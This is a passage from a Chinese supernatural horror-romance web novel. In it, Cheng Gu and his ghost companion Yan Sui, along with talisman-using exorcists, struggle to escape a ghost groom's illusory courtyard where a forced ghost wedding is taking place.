是个偏古代的院落,院中四张桌子,一共四十个纸人坐在桌前。
两边还跪着四个纸人吹着纸唢呐,四周挂着红色的喜字,氛围阴森可怖,到处透着诡谲不对劲。
院中大门紧紧关闭,两张大红色的喜字被风吹起,哗啦啦作响。
程故被风吹的浑身冰冷,毫无温度,双手双脚僵住,费好大力才挪动着步伐后退。
在门外的时候还能听见包冠林的叫声,进来之后反而听不见了。
程故眯着眼,屏住呼吸,想从窗户缝隙试着能不能看到房间内的情况。
僵持之中,跪在地上的四个纸人忽然开始行动,诡异的唢呐声响起,刺激着人的意识。
那种想要作呕的恍惚感再次袭来,程故咬牙,努力忽略。
打量完周围状况的李千月捂住双耳,快步凑近程故,在他身后贴上一张符纸。
“你就站在这里,不要乱动,这声音影响不到你。”
恍惚恶心感消失不见,程故觉得后背暖洋洋的,像是灌入了温热的泉水般,让人不由自主地放松下来。
他一怔,忍不住身后去抚摸后背,想要看看是什么。
“一张符。”李千月提醒道,“不要碰掉了,只要那个男鬼没有出现,你就不会有事。”
她瞥了一眼那些纸人:“我和周笙处理这些纸人,你保护好自己。”
程故立刻点头,正在疑惑怎么处理,就见周笙双手各自夹住一张符纸,嘴中低声呢喃,闭上眼的刹那,手中符纸燃烧起橘黄色的火焰。
明明隔着有些距离,程故却能感觉到那火焰带来的滚烫温度,烧得他浑身凉意瞬间退散,被一种极度的热感包围。
程故只来得及听见一声“去”字,两张正在燃烧的符纸直直地飞向坐在桌前的纸人方向。
神奇的一幕发生,火焰落在纸人身上,却没有将纸人点燃。
大火燃烧,那纸人却没有受任何影响,就那么坐在巨大的火光中,露出诡异的微笑。
程故还记得不能和这些纸人对视,默默挪开眼睛,用余光打量着那些纸人,突然看到坐在偏角落一点的纸人扭着脑袋,直直地盯着他。
脸颊画着红色的腮红,嘴角上扬,明明吓人,却让人觉得有种熟悉的温柔感。
程故心脏狠狠一跳,脑海中呼之欲出一个名字,张嘴差点叫出来时,纸人眨眨眼,纸叠出来的手抬起放在嘴前,示意他暂时不要出声。
这一刹那,程故确定他就是言随。
怪不得没有看见,原来他变成纸人了。
程故满腹疑惑,只能压住,冲他点点头,示意自己知道了。
“没用。”周笙提醒,在口袋里摸索着其他东西,这一下直接拿出五张符纸,全部飞过去。
符纸落下一瞬间,大火在院子中蔓延开,极高的温度将人烫得如火焰炙烤。
程故觉得自己仿佛是被烤熟的肉,恍惚之中已经能够闻到肉的香味。
他眨眨眼,对面的纸人言随悄声起身,从火光中退出,站在贴着喜字的大门前,通过门的缝隙潜入进去。
下一刻,原本紧闭的大门爆开,包冠林的惨叫和冷笑声响起。
没想到大门会被打开,那冷笑声一顿,讥讽出声:“看来我们的客人到了。刚好吉时,可以开始成亲了,夫君。”
故作腻歪的声音听得人起了一层鸡皮疙瘩。
程故看向大门。
映入眼帘的全是红色,墙壁上挂满红色的喜字,包冠林穿着红色的喜服,浑身颤抖地站在脸色苍白的男鬼身旁。
它的脸色太过吓人,白到像是在白漆中足足浸染了许久,在红色映衬下,能够完美融入白墙。
偏偏它的脸颊和眼角涂抹着厚厚一层红粉,眼尾上吊着,五官硬朗,头发微长,默不作声站在那里,充满阴气。
程故收回视线,注意到言随偷摸站在包冠林身后,抓着包冠林的西服遮住自己,避免被发现。
明明纸人十分吓人,可却在言随身上看出一种沙雕喜感。
程故努力让自己不要看向那边,视线重新落在包冠林身上。
他满脸恐惧,疯狂对着程故使眼色,示意他快救自己。
周笙和李千月正在解决纸人,好不容易解决完,穿着喜服的男人不过挥动衣服,原本烧成灰烬的纸人再一次坐在桌前。
“都来了别人的地方,怎么一点都不客气。”鬼新郎微笑出声,“各位都是客人,就不要站着了,落座吧。”
下一刻,程故不受控制地往桌前走去。
他拼命想阻止自己,却只能转动眼珠子,变得跟包冠林一模一样。
余光发现旁边的李千月和周笙也差不多情况,无法控制住自己的动作,程故有些绝望。
落座的那一刻,他觉得自己身体瞬间一轻,有一种非常古怪的感觉,就好像自己变成了一片薄薄的纸,风一吹就能将自己吹飘在空中。
程故赫然想到什么,转动着眼珠去打量不远处的李千月。
目光没有搜寻到李千月两人,反而看到
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两张像极了她们模样的纸人。
不同于其他纸人红着脸,这两个纸人僵硬地坐在桌前,瞪着眼一动不动,通过眼睛都能看出那种属于人的焦灼紧迫感。
她们变成纸人了,那自己呢?
程故想低头打量一下自己,可无法做到,脑袋好似顶着千斤重的石头,无法动弹半分。
他努力眨着眼,试图看向其他方向,发现视线有限,最后只能盯着对面坐着的纸人发呆。
唢呐声不停,纸人们开始动起来,和活人毫无区别地举起双手,拿起桌上纸做的筷子,装模作样地夹起来盘子里的菜。
程故跟着抬起双手,抓住绵软的纸筷子,夹起盘子里的菜。
说是菜,其实就是一团灰色的纸团,程故张开嘴,低头去吃那团纸。
手腕上的红绳发烫,提醒着危险,却没办法将他变回来。
程故忍受着手腕几乎灼融化皮肤的温度,一边努力闭嘴。
不能吃。
他脑中只有这一个想法。
千钧一发之际,程故只觉得脖颈上一热,有一双手在他后颈捏了捏。
力道非常轻巧,他瞬间可以动了,连忙扔开手中纸团,转过身的刹那面向一个纸人。
“嘘。”纸人低声开口,是言随的声音,“别说话,那东西没发现我们。”
程故扭头看去,鬼新郎站在包冠林面前,正温柔地给他整理着衣服,那表情看得程故背脊发凉,别说包冠林了。
他被控制不能动,唯一能动的眼珠子疯狂颤抖,诉说着内心的恐惧。
“躲起来。”言随说,“这里是那东西的世界,我不能做什么。”
程故来不及多问躲哪里,注意到鬼新郎正在出来,扯着言随躲进桌底。
一张薄纸做的桌子,纸人坐得分散,缝隙非常大,程故躲在里面轻易就能被发现。
他尽量往纸人侧边躲,希望外面的男鬼暂时不要发现自己。
得想办法把李千月和周笙救出来。
“另一个人呢?”程故想起什么,问言随。
“在这里面,确定不了在哪。”言随低声回答。
脚步声响起,程故精神瞬间紧绷,抓住言随的手逐渐用力。
他浑身皮肉都在僵着,但纸人的身体总有一种绵软感,让他处于紧绷又放松的中间,极为难受。
言随捏了捏他的手,示意他放轻松。
脚步声越来越近,程故头皮发麻,一股难以言喻的寒意从脚底开始升起,遍布全身。
他呆在那里,只能用耳朵去分辨脚步声停在哪,连脑子都无法转动。
“哒哒哒。”脚步声倏然停下,就在前方。
程故抬头,看到了近在咫尺的喜鞋。
他呼吸一窒,掌心出了密密麻麻的汗,由于变成了纸人,直接将纸手弄湿。
“客人少了一位,看来有客人不满意我的安排,悄悄躲起来了。”风声呼啸不停,夹杂着鬼新郎轻笑声,在死寂一片的氛围中惊起数道波澜,“让我猜猜,他躲在哪里。”
程故心一下高高提起。
“后面?没有,前面?没有,那就是……桌子底下。”
程故肩膀一震,抬头对上那双被黑瞳占据,没有半点眼白的眼睛,巨大的心跳声几乎将他整个人淹没。
眼睛的主人弯着身体,脑袋几乎快伸进来,阴恻恻地盯着他,嘴角挂着令人发怵的笑,故意操弄着尖锐恶心的腔调出声:“原来客人在这里呀~”
13.第十三章
第13章
程故整个人都快炸了,脑子嗡嗡作响。
出现在这双眼珠的视线内,他好似被一张看不到的巨网无情笼罩。
黑色眼珠转动,直直地面对程故,随后鬼新郎笑出声,宛如一条蛇般扭动着上半身,钻入桌底去抓程故。
寒气直逼面门,程故浑身血液沸腾,提醒着危险来临。
他准备站起身反抗时,注意到鬼新郎身后有一道身影正在急速靠近。
“啪。”有什么东西重重拍打在鬼新郎背上,不过刹那,它被定在原地无法动弹。
程故一愣,鬼新郎眼珠子骤然变大,一股怒火从眼底蔓延,占据整张脸。
它面容逐渐扭曲狰狞,皮肉簌簌往下坠落,森然白骨暴露出。
一股死亡的恶臭味袭来,程故没忍住,张嘴干呕起来。
唢呐声停止,天地寂静一片,只有它干呕声时不时响着。
对于身后阻止它的人,鬼新郎显然更加恼怒程故干呕的动静,在挣脱的瞬间,手指如鹰爪死死地向着程故抓去。
劲风袭来,尖锐的黑色指甲停在程故眼前。
他瞪大眼,瞳孔无声放大,看着那没有前进的手指,脑中混乱模糊。
无人看见之际,程故瞳孔中红光隐约闪过,没入深处。
鬼新郎只觉得手指一痛,灼烧融化骨头的尖锐感让它不自觉往后退,同时背后刺痛遍布全身,迫使它不得不改变目标,站直身体,转身看向身后的罪魁祸首。
李千月和周笙已经恢复人身,身上贴着几张符纸。
风卷动符纸,明黄色的光芒闪现,鬼新郎见状狞笑一声:“一些破符就想对付我?天真。”
“没事吧?”桌子底下,言随握住程故的手臂。
程故回过神,整个人虚弱无力地坐在地上,摇摇头:“没事,还好她们来得及时,阻止了鬼新郎。”
言随一顿,没有说话,表情有些微妙。
程故发觉:“怎么了?”
“没事。”言随笑了笑,“可能不是她们。”
程故愣住,还没明白这句话,就被外面的动静吸引视线。
劫后余生让他浑身泄力,都没注意到同手同脚,就那么弯着腰爬出桌子。
李千月和周笙满手符纸,飞向鬼新郎。
符纸有用,但用处不大,只能影响鬼新郎两秒,程故觉得这样不是办法,问言随:“我们没办法离开这里吗?”
“有。”言随说,“这是在镜中幻境,找到镜眼就能离开。”
程故听不明白,下意识问:“类似于那种阵眼吗?”
“对。”言随笑道,“鬼新郎用自己的阴气幻化出的幻境,既然是幻境,必定有镇压的眼,就是目前不知道这眼在哪里。”
他看向周围,忽然对程故说:“你可以试着找找。”
程故反射性摇头:“我找不到的。”
他的阴阳眼只能看到鬼,其他能力没有半分,根本无法做到。
“相信自己,试试看。”言随温声鼓励道,“没关系的,你可以。”
没有半分怀疑的话语让程故怔住,竟真的有了几分底气,忍不住笑了笑:“好,我试试。”
他自己都不太相信自己,言随和他认识没多久却如此相信他,程故心里有种非常奇怪的情绪。
他站起身,发觉自己还是纸人,动作一顿,看向和鬼新郎颤抖的两人,不知道她们是怎么恢复人身的。
“程故。”低沉熟悉的嗓音响起,程故扭头,言随指着身后的房间,“院子里没什么特别的,进房间找。”
包冠林始终站在房间门口,犹如柱子般一动不动,见到可以动的纸人朝着自己这边靠近,吓到嘴巴张开,可是却没办法发出一点声音。
他浑身写满抗拒,程故没办法把自己变回来,自然救不了他,只能出声安慰:“别怕,我是人,不是纸人。”
话音落下,身后窸窸窣窣声不停,那些纸人发现他想进入房间,纷纷站起身,飞快冲着他所在的方向冲来。
它们脸上不再是之前的诡异笑容,而是一种非常愤然的表情。
几十个纸人团团包围来,程故着急地跑进房间,试图关上房门,发现关闭不了后打量着房内。
房间很大,没什么特别的,除了满目的喜字就只有一张桌子和床,以及非常大的窗户。
程故跑过去,想推开窗,但纸人身体太小,无法做到。
他踩着凳子用力往上攀爬,却没任何用处。
言随托着他的腿,轻声开口:“踩着我的肩膀上去。”
程故反应过来,踩着他的双肩,终于爬上窗沿,推开窗看到窗外的景象。
是一个荒凉枯败的院子,没什么多余的东西,只是在最左侧有一口黑色的棺材,棺材四周缠绕着红色的纹路。
不过一眼,程故就觉得自己眼珠刺痛,像是有无数只虫子在眼膜之中啃着他的眼珠。
刺痒感让他不得不停下动作,捂着眼睛,下意识去寻找言随:“有棺材,我看了一眼,眼睛疼。”
手被握住,言随不知道何时坐在窗沿旁,轻轻拿开他的双手,脸上没多少表情,薄唇微抿,眼底满是显而易见的担忧。
“我看看。”他低声开口。
程故闭着比较痛的眼睛,睫毛疯狂颤动,那种被虫子啃咬的感觉更加清楚,伴随着模糊的视线,他不由得紧绷起来。
“我是不是要瞎了?”
“不会。”视线受阻,听力变得更加灵敏,言随的声音低沉磁性,很好抚平了内心的慌乱不安,“你睁开眼,看着我。”
闻言,程故努力睁开眼。
纸人和人不同,一切从简,眼前的青年眼珠虽然只有一个黑圈,但还是能看出里面泛着淡淡的红光,中间丝线浮动游走,遍布整只眼睛。
言随一顿,没着急开口。
程故看不透他的意思,以为自己真因为看了棺材要瞎了,紧张地问:“怎么了?”
“没事。”言随抚摸着他的脑袋,“什么问题都没有,应该是你的错觉。你现在冷静下来,努力不去关注眼睛。”
程故努力照做,发现不适感和啃咬感真的消失了。
闪动的红色丝线最终结为复杂的图案,隐匿在眼球中消失。
与此同时,程故欣喜道:“真的,没感觉了。”
他指着棺材上的纹路,对言随说:“我看到的就是那个。”
几十个纸人挤在房间里,围绕着
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他们,努力往上爬,程故见状连忙抓着言随跳下窗户,落在院中。
脚下泥土湿软,落地的那一刻,他双腿一软,没忍住跌坐在地上。
程故拿起双手,拍干净掌心沾染的泥土,忽然发现什么,骤然看着自己正常的双手。
变回人了!
身侧的言随也变回了人的模样,他显然注意到这点,飞快关上窗户,阻止爬上来的纸人。
窗户对他们正常人来说轻而易举,对纸人却非常困难。
一堆纸人被堵在窗口,不断挣扎着,试图撞开。
程故:“我们进入这里就变回了正常样子,是不是代表这棺材就是你说的阵眼?”
“有可能,去看看。”言随说。
程故点头,飞快靠近。
棺材下的泥土是一种瘆人的红色,像是被人的鲜血活生生浸泡出的,刺目无比。
程故围绕着棺材走了一圈,没发现什么不同。
除了上面画着看不懂的东西,就是一口普通棺材。
他试图推开棺材盖,太过沉重,没办法推动。
里面毫无征兆的响起“咚咚”撞击声,程故动作稍顿,瞬间看向言随:“里面有东西。”
似乎听见了他的声音,里面的东西撞击力度更大,棺材盖震动不停,砰砰砰声震耳欲聋。
这样下去,外面的鬼新郎肯定会被吸引过来。
“如果这是镜眼的话要怎么处理?”程故焦急道,“破坏就行吗?那我烧了行不行?”
“可以。”言随颔首。
里面的东西安静下来,不过片刻,撞击声更加猛烈,有种想将棺材盖冲开感。
程故听见了细微的说话声,但听不清具体内容,只能确定是从棺材里传出的。
他尝试将耳朵贴在棺材上,里面的确有人声。
程故脑海里浮现一个大胆的猜测,伸手敲击棺材盖:“你是人吗?是的话敲三下。”
棺材内安静下来,随后响起三声沉闷的敲击声。
真的是人。
程故猜测这就是一直以来没出现的那个男人。
言随进了院内,他和另外两人在院外,这人更加离谱,竟然被关进了棺材里。
怪不得听见他要毁了棺材会这么激动。
“我打不开棺材盖。”程故沉吟道,“你要是有办法就敲两下,没办法就敲三下。”
这次敲击速度很迅速,三下。
他没办法出来。
程故抬眸,与言随四目相对。
“你有办法吗?”青年眼眸清润,瞳孔干净透亮,莹润着柔和的笑意,长睫不再是纸人敷衍的几根,而是浓密卷翘,上下扫动间带着几分说不出的可爱。
“没有。”言随如实相告,“我现在没有办法,去叫外面的两个人进来。”
程故:“那我去,你在这里。”
言随点点头,程故想到堵在窗户口的纸人,有些怵得慌,但没时间犹豫。
他咬牙,走到窗边轻轻戳破窗户纸,凑过去一看,首先映入眼帘的就是纸人涂红的腮帮子,以及那不友善的笑。
程故吓得浑身一个激灵,反射性后退两步。
纸人看到他,发出“桀桀”的笑声。
14.第十四章
第14章
程故吓得浑身一个激灵,反射性后退两步。
看到他,纸人发出“桀桀”的笑声。
没办法翻窗进去,缓过来的程故只能看向其他地方,寻找着另外的出入口。
他才刚偏头,忽然听见那笑声不似纸人那般轻飘飘,而带着一种听人头皮炸开的阴冷,眼皮一跳,登时觉得不好,扭头大喊:“鬼新郎追来了。”
下一刻,木窗破烂,碎屑飞溅,几十个纸人翻窗进来,落地的那一刻变成正常人的大小,朝着程故怪笑着追来。
与此同时,鬼新郎站在房间中,透过窗与程故对视,只有瞳孔的眼中满是滔天的怒火。
“我好心邀请你们来参加我与夫君的婚礼,你们却来搞破坏,还到这里来了,该死。”
它狞笑出声,刹那间狂风大作,纸人愈发逼近。
程故眼珠微微转动,努力向后退去。
鬼新郎能过来,就代表两人应该被控制住,另一个又在棺材里。
现在只有他这个啥也不懂的人,和非人类的言随。
不用想就知道打不过。
或许因为之前言随说过会保护自己,程故转身,下意识往他那边跑去。
“快跑。”程故飞快停在言随身边,“它能不能看到你?”
言随斜睨了眼飘进来,直勾勾盯着程故的鬼新郎,嗓音平静:“应该不能。”
“那你快出去看看她们怎么样了。”程故说,“还有对门邻居,不知道现在情况怎么样了。”
话音刚落,他的肩膀倏然被人揽住,进入一个微凉的怀抱中。
下一刻,程故被言随带着躲在棺材后。
风声呼过,几个纸人跳在棺材盖上,嘴里发出尖锐刺耳的笑声。
臂弯的温度分明很凉,可程故却莫名炙热,以至于脸颊被染上热意。
他抬头,对上纸人涂花的脸依旧没能控制住心脏疯狂紧缩,半天没能缓过来。
“别紧张。”言随低声说,“同心结在,它伤不了你。”
略微嘶哑的声音回荡在耳畔,明明是紧张无比的时刻,程故却只能感觉到那气息拂过耳朵时的酥麻电流感。
他觉得双手一软,几乎失了所有力气。
刺骨的冷风从上往下吹来,不过刹那,身体好似被冻凝固住,难以动弹,程故甚至连张开嘴说话都做不到。
周遭温度不知何时到了一种极低的程度,连呼出去的气都变成一缕缕白烟。
程故睁大眼,努力让自己保持清醒,耳边是鬼新郎越靠越近的脚步声。
“不懂礼貌的人只能去死。”它念叨着,声音中夹杂着对一切早有把握的傲气,步伐愈发慢,最后停在棺材对面,语气中夹杂着黏腻的笑意,“我与夫君的大婚之日,你们只配讨杯喜酒喝,至于其他的,别想得逞。”
这里的东西吃了喝了还能出去吗?
理智徘徊在崩溃边缘,程故还能在此刻思考起来。
“别怕。”言随毫不受影响,抓着他的手腕,眸色幽深,“我先带你出去,棺材待会再说。”
程故脚下轻飘飘的,全靠言随扶着。
路过鬼新郎时,它一脸没料到程故还能动的震惊,原本还算平静的面容掀起惊涛骇浪,随着扭曲,皮肉快要从骨头上分离。
鬼新郎愤怒大吼:“你怎么可以动?!”
程故眉心发热,脚下虚浮站不住,身体深处却有一股力量隐隐浮动,恨不得从体内涌出。
他手脚越来越无力,在鬼新郎冲来的那一刹那,眼前一黑,耳边只能听见鬼新郎撕心裂肺的惨叫。
意识陡然清明,程故抬眸,只来得及看到金光一闪而过。
他疑惑转身,鬼新郎用右手掐住自己的左手手腕,而手腕前方空荡无物,断口处泛着黑烟,隐约能听见滋滋作响的声音。
程故不明所以地看向言随,眨眼询问怎么回事。
这鬼新郎手怎么断的他完全没看清。
鬼新郎满脸怨毒,围绕着程故走了一圈,没再敢轻举妄动。
那忌惮探究的眼神让程故匪夷所思:“刚刚是你出手了吗?”
“不是。”言随指着他的手腕,“同心结在,他碰不了你。”
所以刚刚是鬼新郎碰他,结果手被融掉了?
程故打量着手腕上的红绳,好奇这绳子看着这么普通,威力却这么大。
“走吧。”言随说,“现在可以放心出去了。它碰不到你。”
程故尝试往前走,几十个纸人飞快挡在面前,他略微犹豫,还是没有停留继续向前。
纸人还没接触到他,顿时被融掉,这一幕太过惊人,程故怔怔地看着几个纸人在自己面前化为灰烬。
其余纸人停下步伐,小心翼翼地站在周围,不敢上前。
鬼新郎阴鸷的目光跟随而来,程故心里有了底,不再关注它,飞快爬上窗户,返回前院酒席处。
李千月和周竹笙面目呆滞地坐在桌前,身体挺得笔直,犹如一把尺子,连眼睛都动不了半分。
程故去叫人,没得到任何反应。
“虽然不知道你背后有什么人,但来都来了,一起入席吧,我可以不动你。”
鬼新郎不知道什么时候出现在门口,手中拿着红绸,将另一方递给面色麻木的包冠林。
包冠林不受控制地接过,两人手牵红绸,鬼新郎眼睛恢复成正常模样,那张脸少了恐怖,反而多了几分害羞。
程故起了一层鸡皮疙瘩,想继续叫李千月,发现自己再次不受控制。
他慢吞吞走到李千月身边坐下,其余纸人逐渐回来。
悲戚唢呐声响起,所有纸人落座,桌上的假食物忽然变成了冒着热气的饭菜,泛着诱人的光泽与勾人的香味。
程故不受控制地拿起红色的木质筷子,去夹桌面上的菜
他咬牙对抗,努力不伸手,可随着鬼新郎看来,刚压制住的动作再次不由自主地伸出去。
桌上热气腾腾,根本看不清菜是什么,直到夹起,程故才辨认出是一颗眼珠,被夹在筷中还在不停转动,滑腻粘稠到即使隔着筷子也能清晰感受到。
程故差点吐了,疯狂抗拒,这边刚把筷子拿开,那边又瞬间贴在嘴边,难以控制地张开嘴。
冷汗从额角滑落,他紧紧抿着嘴,脸色苍白地死盯着那颗眼珠。
鬼新郎带着包冠林并排站在门口。
随后一个纸人站起身,嘴中发出怪异的笑声:“两位新人一拜天地。”
这就开拜了。
刹那间,程故忘记自己整被威胁着吃东西,不停睨向包冠林那边。
言随呢?
他倏然想起言随消失了,努力打量着四周,直到嘴唇贴到一个柔软带着弹性的东西才赫然回神,垂眸望着嘴边的圆眼
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珠,瞳孔不停放大。
太恶心了。
黏糊糊的触感简直让人毛骨悚然,程故灵魂快要飞出躯壳,用力抓住筷子远离。
可能是鬼新郎与包冠林拜堂太过兴奋,这边松动许多,程故终于得以扔开筷子。
眼珠在桌上弹动两下,突然撞到纸人脑门上,重力直接将纸人撞翻在地。
程故干呕两声,恐惧逐渐被一种无法言说的厌烦代替,一低头对上躺在地上的纸人芝麻眼珠和诡异的微笑,登时僵住。
唢呐声不停,周遭弥漫着森森鬼气。
程故偏头,直勾勾地盯着鬼新郎,恨不得将桌子掀飞,可他做不到。
筷子能扔开,身体却依旧被压制在桌前。
言随很有可能在后院。
另外两人和他一样被控制,还有一人落在后院,只要撑到他出现就可以。
程故大脑飞速转动
唢呐声变欢快不少,鬼新郎和包冠林一同拜天地。
中年男人怕到眼珠子瞪得极为突兀,即使被控制,拿着红绸的手臂不停颤动,眼睛瞥向程故求救。
接收到他的求助目光,被纸人团团围住的程故欲哭无泪。
眼珠没吃成功,纸人们夹起来其他菜,按住他的背后强行扶起他的脑袋,逼他吃下东西。
看着还在筷子上扭动的蜈蚣,程故眼角抽搐,比起恶心,更难受的是一种说不清的发毛感。
他最怕这种多脚东西。
程故仰着脑袋抗拒,下一秒又被推回,几次来回,手腕上红绳骤然发烫,他在顷刻间获得自由。
程故猛地站起身,抓着身边纸人甩向一边,用力把桌子掀了。
纸人四处散开,又很快聚集在一起,朝他慢慢靠近。
“你已经死了。”长久的混乱让程故十分愤怒,但脑子还算冷静,他看着鬼新郎一字一句道,“死人无法与活人成亲在一起,就算在这幻境中拜堂也没用。”
鬼新郎面容扭曲,眼神阴毒地指着程故:“按住他,吃了这里的东西,他永远别想离开这里。”
几十个纸人纷纷抓起地上的东西冲来。
速度太快,程故反应过来时它们已逼近,飞快跃起,跨坐在他的脖子上,掐住他的下巴,迫使他吃完东西。
反应慢的红绳这次终于快了,不过一秒,纸人便被弹飞,在空中化为灰烬。
包冠林目瞪口呆地望着这一幕,仿佛看到了救星,各种挣扎反抗,终于能动几根手指,甩开红绸转身。
可他动作太慢,才侧过身体,再次被鬼新郎控制住。
“继续。”鬼新郎厉声开口。
吹唢呐的纸人更加亢奋,诡异的唢呐声回荡在周围。
手腕处的温度快要将人融化,击飞一个又一个纸人的程故觉得燥热无比,好似有一股力量快要按捺不住从体内冲出。
身体火烧般刺痛,眼前飘忽,一切景象坍塌扭曲,褪去原有的颜色,变得灰白破烂。
所有活动的纸人在程故眼前消失,他注意到不远处鬼新郎另一副模样。
喜服消失不见,它身上原本的衣服随着肉一起腐烂,只剩下轻易就能断裂的骨架,连脸上的皮肉也尽数消失,随着身体扭动,骨头发出清脆的动静。
这是什么?
手腕剧痛,程故低头,就见戴着红绳的地方刺红一片,同心结轻微颤动,预兆着什么。
15.第十五章
第15章
眼睛发热,有什么东西正往下流淌,黏稠无比。
程故抬手去摸,指尖干净无物,是错觉,可感受太过真实。
他疯狂眨眼,试图缓解那怪异的不适感。
下一刻,眼前只剩白茫茫一片。
“李千月,周竹笙。”伴随着两声呼唤,罗幸飞快从房间中奔出,目光扫过鬼新郎,落在呆滞的李千月和周竹笙身上。
他刚准备冲过去,忽然注意到旁边更加不对劲的情况。
青年站在原地,眼眸睁得极大,浅淡的瞳孔中红色丝线不停游动,汇聚成复杂难懂的图案。
金光闪烁,站在他面前的纸人还没来得及靠近,便全部消散。
罗幸一愣,揉了揉眼,再看去时,青年依旧保持着那个姿势,眼睛正常,没有任何不对之处。
他以为是自己的错觉,没时间细想。
“该死的。”看见罗幸,鬼新郎仰头怒吼,还没靠近的罗幸顷刻间被一股强大看不见的力量撞开。
不远处的李千月和周竹笙浑身一抖,瞬间清醒过来。
红色的喜服翻动,鬼新郎浑身黑气涌动,汇聚成几道绳索,冲向在场的几人。
李千月回过神,摸出一张符纸,贴向黑气后逼向鬼新郎。
周竹笙手忙脚乱抓出一堆符纸抛向空中,手指转动,口中默念,原本还飘在空中的符纸登时竖直,向鬼新郎所在的地方冲去。
罗幸咒骂一声,从地上爬起来,面无表情地看着鬼新郎:“你要是再执迷不悟,我就炸了棺材。”
鬼新郎不受丝毫影响地挥开符纸,闻言动作一顿,握着红绸的手逐渐收紧。
它背对着所有人,没有说话,只是带动包冠林继续和自己拜堂成亲。
躲在桌下的纸人爬出来,继续高喊:“二,二拜高堂。”
包冠林腰好似被人踹了一脚,不由自主地弯下腰,冲着房间大门拜。
“夫妻对拜。”
包冠林转身,面对鬼新郎皮肉都害怕到抖动。
“你敢。”李千月一掌拍在鬼新郎肩膀。
掌心红光大作,鬼新郎肩膀被拍瘪进去,它根本不在意这点疼痛,握着肩膀一扭,原本缩进去的肩膀重新恢复。
“继续。”它冷漠地对包冠林吩咐,一点眼神都没给李千月几人。
包冠林骤然弯腰。
“你要是敢动,我毁了棺材,没有棺材,你再也藏身不了。”罗幸皱眉。
鬼新郎动作停滞,面容霎时间扭曲在一起。
阴风吹来,程故被刺激到忍不住打了个喷嚏,从那脱离天地间的飘忽中清醒。
他眨眨眼,看着不知何时出现的罗幸,又看看清醒的李千月和周竹笙,松了一口气,无力坐在地上。
“一旦拜堂成功,就算你们也奈何不了我。”鬼新郎冷笑一声,后退两步,面向包冠林迅速一鞠躬。
包冠林只觉得浑身一凉,如坠冰窟,手脚寒意冰冷刺骨,他傻在原地,只觉得完了。
罗幸和李千月对望一眼,明白彼此意思,包住鬼新郎。
“夫君。”鬼新郎抱住包冠林手臂,亲昵无比道,“现在我们已经成亲,你可要护住我。”
发现自己能动,包冠林用力推开鬼新郎,惊恐与愤怒交杂在一起,他差点气哭了:“这是你强迫我的,不算,不算。”
“你觉得不算没用。”鬼新郎一笑,“下面认同就可以。”
程故爬起来走到周竹笙身侧:“下面认同什么意思?”
“拜堂了,下面确实会认同,只等包冠林一死,两人就是已经成过亲的关系。”周竹笙解释道。
程故:“强迫的也算?”
周竹笙脸色难看地点点头。
程故看向房间内,依旧没看到言随。
他趁着鬼新郎不注意,闪身进入房间中。
言随依旧不在,屋内空荡荡的,程故翻窗进入后院,就见他站在棺材前。
棺材盖已经打开,里面似有什么东西吸引了他的视线,让他一直垂眸观察。
确定没有危险,程故快步走过去:“你在看什么?”
言随笑了笑,指着棺材内的东西:“这个。”
程故弯腰往里面看了眼。
里面没什么东西,只有棺材内壁上画着许多复杂的符箓,程故看不懂,但在看到的第一瞬间就知道这符箓威力很大,应该是用来镇压什么的。
“还有这个。”言随指着棺材盖角处的空洞,“之前钉了什么东西。”
程故凑过去观察,无论是大小还是深度,像极了钉子。
他脑海里想起平时看的各种电视剧。
“我看电视说,下葬的时候怕棺材里的人尸变,会将棺材四角用钉子封上,难道这个就是?”
“对。”言随笑道,“真聪明。”
突然的夸赞让程故脸一热:“别夸我,只是看电视看的。”
言随抬头抚摸着他的脑袋:“这个棺材,应该是用来封外面的鬼新郎。”
程故想起什么:“棺材里的那个人是你放出来的吗?”
言随收回手,轻笑道:“准确来说是他自己出来的,我只是帮了一下,”
程故观察着管材内的情况:“我们还能出去吗?”
“可以。”言随说,“先谈判,不行的话,就只能看谁的筹码多了。”
程故应下一声,忍俊不禁地问言随:“你有筹码吗?”
言随回答得模棱两可:“算有。”
他没有一点害怕与慌乱,游刃有余的模样让程故产生出一种错觉:无论这里发生什么,都在他的掌控中。
程故还没追问,忽然听到后面响起打斗声。
李千月三人能够暂时压制住鬼新郎,包冠林得到了自由,鬼哭狼嚎起来。
“我不和你结婚,可怜我老头子一把年纪了,还要被你这么折腾。你知不知羞,还不赶紧放我们出去。”
“已经拜堂成亲,你就算死也逃不过我。”
鬼新郎震耳欲聋的嘶吼声让程故耳朵发麻,他揉了揉,偏头询问言随:“他们这个拜堂是真的成了吗?”
“算。”言随说出原因,“他选中包冠林,是因为包冠林生辰八字与他相符。只要是生辰八字对得上,拜堂后,两人死后的确可以成为夫妻。”
“那多危险。”程故不寒而栗,搓搓手臂,“要是我做个梦,在梦中和人成婚,岂不是也被绑定了?”
“没那么容易。”言随摸摸他的脑袋安慰,“天时地利人和,缺一不可。这里不是梦境,所以相对比较容易,梦中多数不算,不然整个地府都乱了。”
听到这,程故才松了一口气。
第一次听见言随提起地府,他沉吟片刻:“你了解地府,去过地府吗?”
“不了解。”言随摇头,
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表情有些许复杂,“我可能去过,但记不清了。程故,我死了太久,很多记忆模糊,只能记起一些片段,不过你放心,这些记忆会逐渐恢复。”
程故用手指旋转着同心结,想问这个从何而来,到底有什么作用,又倏地想起自己前不久的奇怪之处。
“我之前总觉得眼睛疼,身体里好像有股子力量要出……”
话还没来得及说完,门窗破碎声响起。
罗幸从裂开的墙体中飞出,狠狠摔在地上。
他衣服破烂,发型凌乱无比,脸上沾染着一些血迹,手臂肩膀上贴着几张比程故之前见过还要复杂几倍的符箓。
程故努力去分辨,结果刚看清一点,眼前扭曲,腿脚虚浮,顿时无力向后仰去。
“别看那些符纸。”言随及时扶住他,瞥了眼罗幸所在的方向,“不能直视。”
程故深吸一口气,扶着言随的手臂站直身体,避开罗幸那边,才刚调转视线,就见李千月和周竹笙模样狼狈地跑进来。
对上程故的视线,李千月一愣,目光扫过他奇怪的姿势,眼中闪过几分不明。
程故手臂一僵,想起自己手臂还被言随扶着,在外人看来,像是借助空气站着。
他连忙放下手,咧嘴笑了笑。
李千月打着手势,示意程故躲起来,又指了指外面,让他去找包冠林。
程故疯狂颔首,后退两步,本想先躲在棺材后面,随后趁机溜出去找包冠林。
没想到才后退一步,追来的鬼新郎目眦尽裂地看向他这边。
刹那间,空气中仿佛长着无数支看不见的尖锐银针,狠狠朝着程故刺来,迫使他不得不定在原地,无法挪动。
